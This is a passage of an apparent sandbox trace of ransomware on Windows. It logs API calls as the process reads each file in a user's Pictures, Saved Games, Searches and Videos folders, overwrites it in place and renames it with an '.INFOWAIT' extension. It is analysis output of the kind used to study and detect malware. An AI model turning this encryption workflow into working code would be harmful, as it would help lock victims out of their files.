lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp.INFOWAIT" [0121.035] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\ubh3kx_a\\rtyiqoqrrvq.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\rtYIqoqrRvq.bmp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\ubh3kx_a\\rtyiqoqrrvq.bmp.infowait")) returned 1 [0121.036] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.037] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.037] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\ubh3kx_a\\_ntc8to6lppj5zxjg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.038] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14c50 [0121.038] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.038] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.038] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14c50, lpOverlapped=0x0) returned 1 [0121.042] VirtualAlloc (lpAddress=0x0, dwSize=0x14c50, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.049] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.050] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x14c50, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x14c50, lpOverlapped=0x0) returned 1 [0121.050] CloseHandle (hObject=0xad0) returned 1 [0121.051] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif" [0121.051] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif.INFOWAIT" [0121.052] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\ubh3kx_a\\_ntc8to6lppj5zxjg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\ubh3Kx_A\\_NTc8TO6LpPJ5zXjg.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\ubh3kx_a\\_ntc8to6lppj5zxjg.gif.infowait")) returned 1 [0121.052] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.053] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.054] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\5noeuuwgic w5vsvz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.054] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4b98 [0121.055] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.055] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.055] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4b98, lpOverlapped=0x0) returned 1 [0121.058] VirtualAlloc (lpAddress=0x0, dwSize=0x4b98, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.060] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.060] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4b98, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4b98, lpOverlapped=0x0) returned 1 [0121.060] CloseHandle (hObject=0xad0) returned 1 [0121.062] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png" [0121.062] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png.INFOWAIT" [0121.062] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\5noeuuwgic w5vsvz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\5NOeuuWGic W5vSvZ.png.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\5noeuuwgic w5vsvz.png.infowait")) returned 1 [0121.063] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.064] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.064] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\rce6gfp9n8qcdk.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.065] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9464 [0121.065] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.065] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.065] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x9464, lpOverlapped=0x0) returned 1 [0121.069] VirtualAlloc (lpAddress=0x0, dwSize=0x9464, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.072] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.072] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x9464, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x9464, lpOverlapped=0x0) returned 1 [0121.072] CloseHandle (hObject=0xad0) returned 1 [0121.074] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif" [0121.074] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif.INFOWAIT" [0121.074] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\rce6gfp9n8qcdk.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\RCe6gFP9n8QcDK.gif.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\rce6gfp9n8qcdk.gif.infowait")) returned 1 [0121.075] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.076] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.077] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\u8rrvn5zj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.080] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1769b [0121.080] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.080] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.080] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1769b, lpOverlapped=0x0) returned 1 [0121.084] VirtualAlloc (lpAddress=0x0, dwSize=0x1769b, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.093] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.093] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1769b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1769b, lpOverlapped=0x0) returned 1 [0121.093] CloseHandle (hObject=0xad0) returned 1 [0121.098] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg" [0121.098] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg.INFOWAIT" [0121.098] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\u8rrvn5zj.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zu1 _on\\xsTHwcnuDqWQ9Jfwv\\u8Rrvn5zJ.jpg.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zu1 _on\\xsthwcnudqwq9jfwv\\u8rrvn5zj.jpg.infowait")) returned 1 [0121.099] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.100] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.101] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.101] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11a [0121.101] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.102] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.102] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11a, lpOverlapped=0x0) returned 1 [0121.104] VirtualAlloc (lpAddress=0x0, dwSize=0x11a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.104] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.105] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x11a, lpOverlapped=0x0) returned 1 [0121.105] CloseHandle (hObject=0xad0) returned 1 [0121.106] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" [0121.106] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.INFOWAIT" [0121.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini.infowait")) returned 1 [0121.107] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.108] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.108] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.108] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0121.109] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x20c [0121.109] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.109] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.109] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x20c, lpOverlapped=0x0) returned 1 [0121.115] VirtualAlloc (lpAddress=0x0, dwSize=0x20c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.115] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.115] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x20c, lpOverlapped=0x0) returned 1 [0121.116] CloseHandle (hObject=0xad0) returned 1 [0121.118] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" [0121.118] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.INFOWAIT" [0121.118] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini.infowait")) returned 1 [0121.119] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.120] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.120] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.121] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0121.121] GetLastError () returned 0x5 [0121.121] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0121.121] GetLastError () returned 0x5 [0121.121] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0121.121] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0121.121] lstrlenW (lpString="5") returned 1 [0121.121] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0121.121] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0121.121] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0121.121] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0121.121] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0121.121] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0121.121] LocalFree (hMem=0x65ded8) returned 0x0 [0121.121] LocalFree (hMem=0x2568430) returned 0x0 [0121.121] GetLastError () returned 0x5 [0121.122] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0121.122] GetLastError () returned 0x5 [0121.122] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0121.122] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0121.122] lstrlenW (lpString="5") returned 1 [0121.122] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0121.122] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0121.122] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0121.122] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0121.122] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0121.122] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0121.122] LocalFree (hMem=0x65ded8) returned 0x0 [0121.122] LocalFree (hMem=0x2568430) returned 0x0 [0121.122] GetLastError () returned 0x5 [0121.132] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\834k5gI2.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\834k5gI2.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\834k5gI2.avi" [0121.132] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\834k5gI2.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\834k5gI2.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\834k5gI2.avi.INFOWAIT" [0121.132] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\834k5gI2.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\834k5gi2.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 